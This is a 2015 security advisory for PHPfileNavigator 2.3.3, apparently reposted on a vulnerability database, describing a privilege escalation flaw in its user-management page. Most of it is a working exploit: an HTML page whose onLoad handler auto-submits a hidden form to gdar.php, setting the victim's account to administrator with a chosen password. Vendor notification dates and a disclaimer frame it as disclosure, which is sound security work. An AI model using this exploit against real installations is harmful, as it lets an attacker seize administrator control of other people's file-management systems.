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PHPfileNavigator 2.3.3 Privilege Escalation
`[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-PHPFILENAVIGATOR0812b.txt
Vendor:
=========================
pfn.sourceforge.net
Product:
=====================================================
PHPfileNavigator v2.3.3 (pfn)
Is state-of-the-art, open source web based application
to complete manage your files and folders.
Vulnerability Type:
=============================
Privilege Escalation
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
We can elevate privileges from that of a regular user
to an Admin level. In order for the attack
to succeed and escalate privileges to become Admin you need
know your ID for the 'id_usuario' field when executing the
attack.
Tested using xampp-1.7.0
Exploit code(s):
===============
<!DOCTYPE>
<html>
<script>
function pwn(){
var e=document.getElementById('ELEVATO_DE_PRIVLOS')
e.submit()
}
</script>
<body onLoad="pwn()">
<!-- Escalate privs to that of Admin -->
<form id="ELEVATO_DE_PRIVLOS" action="
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php"
method="post">
<input type="hidden" name="id_usuario" value="5" />
<input type="text" id="nome" name="nome" value="b2" class="text"
tabindex="10" />
<input type="text" id="usuario" name="usuario" value="b2" class="text"
tabindex="20" />
<input type="password" id="contrasinal" name="contrasinal"
value="abc123" class="text" tabindex="30" />
<input type="password" id="rep_contrasinal" name="rep_contrasinal"
value="abc123" class="text" tabindex="40" />
<input type="text" id="email" name="email" value="[email protected]" class="text"
tabindex="50" />
<input type="text" id="max_descargas" name="max_descargas" value="0"
class="text" tabindex="60" />
<input type="text" id="actual_descargas" name="actual_descargas"
value="0" class="text" tabindex="70" />
<select id="cambiar_datos" name="cambiar_datos" tabindex="75">
<option value="1" >ON</option>
<option value="0" selected="selected">OFF</option>
</select>
<select id="id_grupo" name="id_grupo" tabindex="80">
<option value="1" selected="selected">Administrators</option>
</select>
<select id="admin" name="admin" tabindex="90">
<option value="1" selected="selected">ON</option>
<option value="0">OFF</option>
</select>
<select id="estado" name="estado" tabindex="100">
<option value="1" selected="selected">ON</option>
<option value="0" >OFF</option>
</select>
<input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"
class="checkbox" />
</form>
</body>
</html>
Disclosure Timeline:
=========================================================
Vendor Notification: August 8, 2015
August 12, 2015 : Public Disclosure
Severity Level:
=========================================================
High
Description:
==========================================================
Request Method(s): [+] POST
Vulnerable Product: [+] PHPfileNavigator v2.3.3 (pfn)
Vulnerable Parameter(s): [+] id_grupo, admin, id_usuario
Affected Area(s): [+] Admin
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx
`
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12 Aug 2015 00:00Current
0.5Low risk
Vulners AI Score0.5